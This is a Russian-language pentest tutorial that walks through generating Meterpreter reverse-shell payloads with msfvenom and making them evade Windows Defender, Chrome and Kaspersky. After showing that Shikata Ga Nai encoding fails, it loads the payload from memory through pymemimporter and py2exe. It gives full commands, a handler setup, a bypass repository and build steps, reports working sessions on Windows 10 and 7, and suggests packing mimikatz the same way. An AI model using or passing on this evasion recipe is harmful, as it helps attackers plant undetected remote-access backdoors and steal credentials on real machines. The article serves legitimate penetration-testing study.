Найти тему

Скрытая нагрузка. Обходим антивирус и загружаем Meterpreter из памяти в Windows 10

Оглавление

Скры­тие полез­ной наг­рузки от анти­виру­са — это серь­езная проб­лема при пен­тестин­ге рабочих стан­ций. Даже род­ной Windows Defender отлично справ­ляет­ся с детек­тирова­нием Meterpreter, так что при­ходит­ся идти на допол­нитель­ные ухищ­рения. В этом матери­але я раз­беру эффектив­ность энко­дера Shikata Ga Nai, про­тес­тирую пей­лоад на ста­тичес­кий ана­лиз и поп­робую запус­тить Meterpreter нап­рямую из памяти.

Meterpreter — это рас­ширен­ная мно­гофун­кци­ональ­ная наг­рузка (payload), которая исполь­зует­ся в Metasploit Framework как уни­фици­рован­ная осно­ва для пос­тэкс­плу­ата­ции. По сути — про­качан­ная аль­тер­натива клас­сичес­ким шелл‑кодам. Это отличный инс­тру­мент в арсе­нале любого пен­тесте­ра, но он нас­толь­ко популя­рен, что его сиг­натуры есть в базах любого защит­ного ПО, будь то Windows 10, анти­вирус или даже Google Chrome.

SHIKATA GA NAI

Од­на из основных тех­ник Metasploit — это схе­ма кодиро­вания полез­ной наг­рузки Shikata Ga Nai (наз­вание перево­дит­ся с япон­ско­го как «ничего не подела­ешь»). Работа­ет она за счет SGN, уни­каль­ного «полимор­фно­го адди­тив­ного энко­дера XOR». Бла­года­ря ему каж­дый раз, ког­да ты кодиру­ешь шелл‑код, это будет про­исхо­дить по‑дру­гому, от чего наг­рузка ста­новит­ся для анти­виру­са безопас­ной на вид.

В SGN реали­зова­ны: динами­чес­кая замена команд, динами­чес­кое упо­рядо­чение бло­ков, слу­чай­ный обмен регис­тра­ми, ран­домиза­ция поряд­ка команд, встав­ка ненуж­ного кода, исполь­зование слу­чай­ного клю­ча и ран­домиза­ция рас­сто­яния меж­ду коман­дами.

При всех плю­сах тех­ника кодиро­вания Shikata Ga Nai не всег­да быва­ет эффектив­ной на пос­ледних вер­сиях Windows.

WWW

Под­робнее о Shikata Ga Nai читай в пуб­ликации Ника Хоф­фма­на, Дже­реми Хам­бла и Тоби Тей­лора.

ОПРЕДЕЛЕНИЕ ПРОБЛЕМЫ

Да­вай про­верим Shikata Ga Nai на прак­тике и узна­ем, дей­стви­тель­но ли его популяр­ность при­вела к тому, что SGN отлавли­вают анти­виру­сы. В качес­тве жер­твы я буду исполь­зовать свой ноут­бук с пос­ледней вер­сией Windows 10 со все­ми уста­нов­ленны­ми обновле­ниями (Build 19042).

Ге­нери­ровать шелл‑код я буду с помощью MSFvenom. В качес­тве слу­шате­ля выс­тупит Kali Linux 2020.4 пос­ледней вер­сии с уста­нов­ленным Metasploit 6.0.18-dev.

Для начала сге­нери­руем стан­дар­тную наг­рузку без SGN:

$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.0.180 LPORT=4433 -f exe > clean_shell.exe

...

Payload size: 354 bytes

Final size of exe file: 73802 bytes

На Kali под­нимем handler. На интерфей­се eth1 IP-адрес 10.10.0.180:

$ msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost eth1
set lport 4433

Про­буем для начала передать файл, ска­чав его с помощью Google Chrome. Для это­го под­нимаю HTTP-сер­вер с помощью модуля для вто­рой вер­сии Python:

$ python -m SimpleHTTPServer

Про­бую ска­чать наш шелл по адре­су http://10.10.0.180:8000/clean_shell.exe.

Оче­вид­но, что файл заб­локиро­вал Google Chrome
Оче­вид­но, что файл заб­локиро­вал Google Chrome

Да­вай поп­робу­ем открыть файл. На этой машине с Windows 10 у меня уста­нов­лена под­систе­ма Linux (WSL). Ска­чаем этот файл в тер­минале с помощью wget и поп­робу­ем запус­тить.

При попыт­ке открыть нас ждет пре­дуп­режде­ние и файл уда­ляет­ся
При попыт­ке открыть нас ждет пре­дуп­режде­ние и файл уда­ляет­ся

Файл Meterpreter был уда­лен даже без обра­щения к нему. Нуж­но лишь ска­чать и подож­дать око­ло минуты. Какая вни­матель­ная Windows!

Ав­томати­чес­кое уда­ление фай­ла с Meterpreter
Ав­томати­чес­кое уда­ление фай­ла с Meterpreter

Тем вре­менем на машине с Kali тишина и слы­шен звук свер­чков. Поп­робу­ем теперь тех­нику кодиро­вания Shikata Ga Nai. Соз­даем новый пей­лоад в MSFvenom. На машине с Kali по‑преж­нему висит в ожи­дании handler.

До­бавим к опци­ям -e x86/shikata_ga_nai -b '\x00' -i 20, то есть исполь­зуем SGN в 20 ите­раций с уда­лени­ем пло­хого сим­вола \x00.

$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.0.180 LPORT=4433 -e x86/shikata_ga_nai -b \x00 -i 20 -f exe > sgn_20_shell.exe

...

Found 1 compatible encoders

Attempting to encode payload with 20 iterations of x86/shikata_ga_nai

x86/shikata_ga_nai succeeded with size 381 (iteration=0)

...

x86/shikata_ga_nai succeeded with size 894 (iteration=19)

x86/shikata_ga_nai chosen with final size 894

Payload size: 894 bytes

Final size of exe file: 73802 bytes

Про­буем заг­рузить с помощью Google Chrome: http://10.10.0.180:8000/sgn_20_shell.exe.

SGN не помог обой­ти анти­вирус
SGN не помог обой­ти анти­вирус

Сно­ва неуда­ча. Пос­ле ска­чива­ния с помощью Wget и запус­ка нас ждет такая же исто­рия, как и в прош­лый раз, — с пос­леду­ющим уда­лени­ем вре­доно­са. Какой мож­но сде­лать вывод? Пра­виль­но, на новых вер­сиях Windows 10 Shikata Ga Nai бес­полезен.

INFO

C сен­тября 2020 года ком­пания Google вве­ла Advanced Protection Program для высоко­рис­ковых поль­зовате­лей, таких как полити­ки и жур­налис­ты. Заг­ружа­емые учас­тни­ками этой прог­раммы фай­лы могут сна­чала прой­ти про­вер­ку на сер­верах Google, а лишь потом попасть к поль­зовате­лю.

Так про­исхо­дит потому, что при запус­ке исполня­емо­го фай­ла и перед заг­рузкой его в память сис­тема пыта­ется най­ти сиг­натуры, при­над­лежащие вре­донос­ному ПО. В нашем слу­чае такие сиг­натуры были най­дены и обна­руже­ны. Поэто­му Windows 10 не раз­решила запуск. Даже SGN не помог. Сам по себе полимор­физм в нем неп­лох, но сле­пок ста­ба это­го энко­дера уже дав­но изу­чен.

ЗАПУСК METERPRETER ИЗ ПАМЯТИ

Оче­вид­ное решение — уход в сто­рону выпол­нения Meterpreter из памяти работа­юще­го про­цес­са. Воз­можно, нам удас­тся обой­ти не толь­ко ста­тичес­кий ана­лиз, но и динами­чес­кий ана­лиз защит­ника Windows Defender.

Для выпол­нения прог­раммы из памяти я буду исполь­зовать Python. Из­вестен спо­соб запус­ка обратно­го шел­ла Python с пос­леду­ющей ком­пиляци­ей скрип­та в еди­ный исполня­емый файл модулем py2exe. Безус­ловно, вари­ант рабочий, хотя, как отме­чает автор статьи по ссыл­ке, питонов­ский шелл в Windows не поз­воля­ет делать некото­рые вещи. Всег­да есть воз­можность про­апгрей­дить Meterpreter пря­мо в сес­сии (post-модуль shell_to_meterpreter). Одна­ко это не всег­да удоб­но, и этот спо­соб мож­но улуч­шить.

Най­ден­ный мной метод осно­ван на исполь­зовании pymemimporter.

Вкрат­це рас­ска­жу, как это работа­ет. Из памяти на чис­том Python заг­ружа­ется .pyd-биб­лиоте­ка memimporter (MemoryModule из py2exe). Биб­лиоте­ка ини­циали­зиру­ется не из фай­ловой сис­темы, а зна­чит, и без сис­темно­го вызова LoadLibrary, который отсле­жива­ют анти­виру­сы. Такое решение поз­воля­ет обой­ти HIPS, одно из средств про­активной защиты. Пос­ле это­го заг­ружа­ется объ­ект pupymem_exec_pyd. Внут­ри него ском­пилиро­ван­ная и закоди­рован­ная в Base64 биб­лиоте­ка pupymemexec, которая уме­ет запус­кать фай­лы .exe. Разуме­ется, тоже из памяти.

Са­мое инте­рес­ное — что все это доб­ро завора­чива­ется еще в один слой memimporter, толь­ко теперь уже самого py2exe. В резуль­тате мы име­ем бинар­ный файл с кодом на Python, заг­ружа­ющий бинар­ную вер­сию Meterpreter. И вот она уже обош­ла и самый новый Defender в Windows 10, и анти­вирус Кас­пер­ско­го на подопыт­ной машине с Windows 7.

В дан­ный момент воз­можнос­ти таким обра­зом запус­кать 64-раз­рядные при­ложе­ния нет, но 32-раз­рядно­го режима впол­не хва­тит для Meterpreter.

Как вари­ант для генера­ции полез­ной наг­рузки мож­но исполь­зовать фрей­мворк Veil, в его опи­сании тоже рекомен­дует­ся исполь­зовать метод с py2exe или PyInstaller.

Пара слов о PyInstaller

Плюс PyInstaller в том, что он может собирать .exe пря­мо в Linux, минус — он не уме­ет так тес­но дру­жить с Windows, что­бы запус­кать биб­лиоте­ки нап­рямую из памяти. Вмес­то это­го он соз­дает архив ZIP, и заг­рузка ресур­сов про­исхо­дит из фай­ловой сис­темы, а это нам не под­ходит. Но зато им удоб­но собирать прос­тые шел­лы на Python, сге­нери­рован­ные в том же Vail. Но, ском­пилиро­ван­ные в чис­том виде, они под­нимут тре­вогу даже на машинах с уста­рев­шими анти­виру­сами. Пря­мо как пос­ле Shikata Ga Nai.

ИНСТРУКЦИЯ ПО СБОРКЕ

Для авто­мати­зации про­цес­са я написал bash-скрипт с заготов­ленны­ми шаб­лонами. Собирать необ­ходимо на Windows, так как в режиме эму­ляции WINE это невоз­можно.

В Windows

Ус­танав­лива­ем сле­дующее ПО:

Пос­ле уста­нов­ки всех ком­понен­тов необ­ходимо сге­нери­ровать фай­лы на машине с Linux. Мой скрипт пре­обра­зует исполня­емый файл, получен­ный от MSFvenom, в Base64 и про­изво­дит замены в зависи­мос­ти от име­ни и содер­жания бинар­ного фай­ла, готовя его к ком­пиляции в Windows.

В Linux

Для генера­ции кода кло­ниру­ем репози­торий и перехо­дим в него:

$ git clone https://github.com/n0a/meterpreter-av-bypass
$ cd meterpreter-av-bypass

За­тем генери­руем пей­лоад с помощью MSFvenom и переда­ем имя фай­ла в качес­тве пер­вого аргу­мен­та скрип­ту gen.sh:

$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.0.180 LPORT=4433 -f exe > clean_shell.exe

...

Payload size: 354 bytes
Final size of exe file: 73802 bytes
./gen.sh clean_shell.exe
[+] File clean_shell.exe exists.
[+] Generate clean_shell.exe complete.

В пап­ке shell (она соз­дает­ся по име­ни аргу­мен­та) появи­лись готовые фай­лы для ком­пиляции на Windows-машине:

$ ls shell

make.bat memexec.py pymemimporter.py setup.py shell.py

Соз­дание фай­лов для ком­пиляции
Соз­дание фай­лов для ком­пиляции

Пе­рено­сим их на Windows и кла­дем в корень пап­ки Python (обыч­но это C:\\Python27), запус­каем make.bat.

Ес­ли все успешно, ты уви­дишь сле­дующее окно.

Про­цесс ком­пилиро­вания .exe-фай­ла завер­шен
Про­цесс ком­пилиро­вания .exe-фай­ла завер­шен

В пап­ке dist находит­ся готовый к исполь­зованию Meterpreter.

clean_shell.exe готов к работе
clean_shell.exe готов к работе

WWW

Ес­ли не хочешь лиш­ний раз палить резуль­тат, заг­ружая на VirusTotal, можешь исполь­зовать nodistribute.com.

ТЕСТИРУЕМ НА WINDOWS 10

Для чис­тоты экспе­римен­та я так­же ска­чаю закоди­рован­ный Meterpreter c помощью Chrome. Инте­рес­но, как поведет себя ста­тичес­кий ана­лиза­тор бра­узе­ра.

Сно­ва под­нимаю сер­вер и ска­чиваю: http://10.10.0.233:8000/clean_shell.exe.

$ python -m SimpleHTTPServer
Google Chrome про­пус­тил файл
Google Chrome про­пус­тил файл

Здо­рово! Мы обош­ли сиг­натур­ный ана­лиз Chrome. Но что покажет динами­чес­кий ана­лиз защит­ника? Нам ничего не оста­ется, кро­ме как про­верить это. Не забыва­ем под­нять хен­длер на Kali:

$ msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost eth1
set lport 4433

За­пус­каем наш файл и смот­рим в кон­соль msf.

Ра­бота­ющий Meterpreter в Windows 10
Ра­бота­ющий Meterpreter в Windows 10

Ус­пех! Мы толь­ко что соз­дали свою вер­сию недетек­тиру­емой наг­рузки Meterpreter. Это опре­делен­но победа. Давай пос­мотрим, как ведет себя эта вер­сия шел­ла на Windows 7 с запущен­ным анти­виру­сом Кас­пер­ско­го.

Ра­бота Meterpreter на Windows 7 с запущен­ным анти­виру­сом
Ра­бота Meterpreter на Windows 7 с запущен­ным анти­виру­сом

От­личный резуль­тат! Ради инте­реса поп­робовал миг­рировать в про­цесс анти­виру­са Кас­пер­ско­го. Естес­твен­но, сде­лать это в avpui.exe мне не уда­лось, так как нуж­ны пра­ва сис­темы, а не поль­зовате­ля, а вот в про­цесс ksdeui.exe — впол­не. Смыс­ла нет, но забав­но!

Удач­ная миг­рация в про­цесс ком­понен­та Kaspersky Secure Connection
Удач­ная миг­рация в про­цесс ком­понен­та Kaspersky Secure Connection

ВЫВОДЫ

Бе­зус­ловно, мы получи­ли хороший резуль­тат, но хочу еще раз обра­тить вни­мание, что этот метод работа­ет толь­ко с 32-бит­ными при­ложе­ниями, в том чис­ле и с 32-бит­ной вер­сией Meterpreter.

Та­ким обра­зом мож­но закоди­ровать mimikatz. Пос­ледняя вер­сия у меня запус­тилась, но пос­ле вво­да в коман­дной стро­ке отве­та не пос­ледова­ло. Воз­можно, более поз­дние вер­сии будут работать ста­биль­но. Но это в Windows 10, а вот в Windows 7 все работа­ет отлично.

Ес­ли будешь про­бовать mimikatz, не забудь в фай­ле .py с име­нем генери­руемо­го .exe рас­коммен­тировать в самом кон­це mpe.get_shell(), ина­че при запус­ке коман­дная стро­ка сра­зу зак­роет­ся без воз­можнос­ти вво­да.

В зак­лючение хочу ска­зать, что это хороший спо­соб обра­бот­ки голого Meterpreter. Он поз­воля­ет обой­ти не толь­ко Windows Defender, но и некото­рую защиту анти­виру­сов. Из минусов мож­но отме­тить боль­шой раз­мер фай­ла (3,7 Мбайт про­тив 70 Кбайт), но в сов­ремен­ных сетях это не такая проб­лема, как десять лет назад. Осо­бен­но при­ятно, что соеди­нение получа­ется ста­биль­ным, а фай­лы для кодиро­вания наг­рузки готовить нес­ложно.